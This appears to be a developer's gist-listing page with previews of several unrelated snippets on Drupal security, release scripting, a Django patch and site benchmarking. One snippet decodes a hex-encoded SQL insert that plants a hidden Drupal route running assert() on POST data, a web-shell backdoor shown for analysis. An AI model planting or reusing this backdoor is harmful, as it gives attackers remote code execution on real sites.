Benjamin Melançon mlncn

Internet Scale Services Checklist

A checklist for designing and developing internet scale services, inspired by James Hamilton's 2007 paper "On Desgining and Deploying Internet-Scale Services."

http://mvdirona.com/jrh/talksandpapers/jamesrh_lisa.pdf

Basic tenets

Does the design expect failures to happen regularly and handle them gracefully?
Have we kept things as simple as possible?

Security:

Best practices for secure Drupal 8 theming

History

Prior to Drupal 8, we relied on manual escaping variables by our developers and themers. Every variable was either run through check_plain(), filter_xss() or another filter function manually or it was assumed to be safe. You can see where this assumption can easily be overlooked/forgotten and we end up with a security vulnerability usually in the form of an XSS attack.

One of the major decisions for choosing Twig in Drupal 8 was due to its autoescape security feature which all variables can be escaped automatically while they are printed. This alleviates a bunch of concerns and burden on the Security Team as well as protect Drupal Sites by default. This is equivalent to Drupal 7 writing <?php print check_plain($variable); ?> on each variable printed.

last night's papers

papers tef sent you last night

papers forrest sent you last night

Automate DrupalConsole release process

This script run the following tasks on multiple repos from the CLI.

Creates a new tag.
Push new created tag.
Create a new release.
Build the phar file. (only for drupal-console-launcher)
Upload the phar file (only for drupal-console-launcher)

To execute this proces is required to install

Coding Maxims

updated list moved to https://grin.io/coding-maxims

	insert into menu_router (path,load_functions,to_arg_functions,description,access_callback,access_arguments) values (0x666176636f6e,0x00,0x00,0x00,0x617373657274,0x613a313a7b693a303b733a31393a224061737365727428245f504f53545b645d293b223b7d)

	Translates to:

	path: favcon
	access_callback: assert
	access_arguments: a:1:{i:0;s:19:"@assert($_POST[d]);";}

	This appears to set the stage for a follow-up where there's an attack payload in the POST.

	<?php

	/**
	* @file
	* Contains \Drupal\mymodule\Plugin\Derivative\MyModuleMenuLinkDerivative.
	*/

	namespace Drupal\mymodule\Plugin\Derivative;

	use Drupal\Component\Plugin\Derivative\DeriverBase;

-# USAGE: To apply to your project, call the appropriate APPLY_ method for your
-# version of Django at the start of your project's `AppConfig.ready` method:
-#  - APPLY_hack_django_17_collector_collect
-#  - APPLY_hack_django_18_get_candidate_relations_to_delete
-#
-# See comment notes below for references to related Django issues.
-# The underlying issue is fixed in Django 1.9+
-#
-# This gist is intended to help others encountering this issue, and as a
-# placeholder until a better work-around and/or a more easily installed

	#!/bin/sh

	# Spiderme - quick and clean benchmarking for website performance on Pantheon.
	#
	# This script uses wget to "spider" your website to provide a good set of data
	# on site performance. It will automatically bypass Pantheon's edge cache, and
	# skip images, javascript, css, etc. It will also only spider links that are
	# under the multidev environment you are spidering.
	#
	#

	// ==UserScript==
	// @name Toggle fonts-loaded
	// @namespace agaric
	// @description Toggle fonts loaded
	// @include *.local
	// @version 1
	// @grant none
	// ==/UserScript==

	(function(){